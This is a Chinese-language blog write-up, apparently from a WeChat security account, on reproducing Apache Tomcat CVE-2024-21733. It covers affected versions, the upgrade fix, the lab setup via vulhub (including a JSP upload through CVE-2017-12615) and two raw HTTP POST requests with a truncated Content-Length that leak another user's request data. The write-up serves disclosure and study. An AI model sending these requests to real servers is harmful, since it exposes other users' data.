漏洞简介
hackerone报告 https://hackerone.com/reports/2327341
漏洞编号:CVE-2024-21733
一句话概括漏洞:不完整的POST请求触发一个错误响应,其中可能包含
来自另一个用户先前请求的数据。。
影响范围
Apache Tomcat 9.0.0-M11 to 9.0.43
Apache Tomcat 8.5.7 to 8.5.63
漏洞描述
缓解办法
更新到 Apache Tomcat 9.0.44及之后版本
更新到 Apache Tomcat 8.5.64 及之后版本
漏洞复现
本地还没有存在漏洞的tomcat版本,需要重新下,悲
本着能用以前靶场就不重新搭建的原则,第一步想到了vulhub。【这步失败了,复现的师傅不要学,直接下tomcat二进制程序就好了。】
docker下载靶场环境
直接使用vulhub的 https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2020-1938/docker-compose.yml
tomcat 9.0.30 在其中。
docker compose up -d
搭建成功,访问 http://192.168.56.31:8080/
但是因为这个漏洞需要post请求,而这个环境没有支持post的jsp和路由,我又懒,只能选择另一个镜像,也就是cve-2017-12615的。
但这个镜像也有问题,首先是根据教程拉取,
docker-compose build
但是失败
搜索一番后,找到个解决办法直接拉镜像
sudo docker image pull vulhub/tomcat:8.5.19
sudo docker-compose build
sudo docker-compose up -d
http://192.168.56.31:8080/
通过cve-2017-12615 PUT一个jsp到服务器。
但是这个环境仍然有问题,我估摸这个环境是spring添加的tomcat依赖,而这种方式默认是没有报错详细信息的,需要手动配置。又是令人头大,最后老老实实的下载tomcat有漏洞的二进制程序复现了。
注意
tomcat的启动脚本,比如Windows中的startup.bat
需要再首行添加一个变量
set JAVA_TOOL_OPTIONS="-Duser.language=en"
如果响应是中文,好像不存在这个问题。奇奇怪怪。
复现
POST /test.jsp HTTP/1.1
Host: 192.168.23.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
id=aafghdyjfikhlogkyhuihjknhywhfb
取消自定更新长度
POST /test.jsp HTTP/1.1
Host: 192.168.23.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2
X
可以拿到其他请求的数据。
不存在漏洞的tomcat版本
tomcat在keep-alive时会等待20s,可能造成ddos
详细的分析
下面两篇文章对tomcat这个漏洞出现的原因分析都很详细,想理解原理的师傅可以点进去看看。
Tomcat CVE-2024-21733漏洞简单复现、分析 https://mp.weixin.qq.com/s/2kIyCN1dv3fsaNgMoNnyKQ
漏洞分析 | Apache Tomcat 信息泄露漏洞 (CVE-2024-21733) https://mp.weixin.qq.com/s/5dLWQNjsC8Qf8JgHxs1bCQ
如果想更进一步,搭建tomcat源码调试环境,可以看我的这篇文章《本地构建Tomcat9.x源码环境》。是我为了分析这个漏洞一步一步搭建的tomcat环境的整个过程。
参考链接
hackerone报告 https://hackerone.com/reports/2327341
Tomcat CVE-2024-21733漏洞简单复现、分析 https://mp.weixin.qq.com/s/2kIyCN1dv3fsaNgMoNnyKQ
漏洞分析 | Apache Tomcat 信息泄露漏洞 (CVE-2024-21733) https://mp.weixin.qq.com/s/5dLWQNjsC8Qf8JgHxs1bCQ
原文始发于微信公众号(进击的HACK):价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论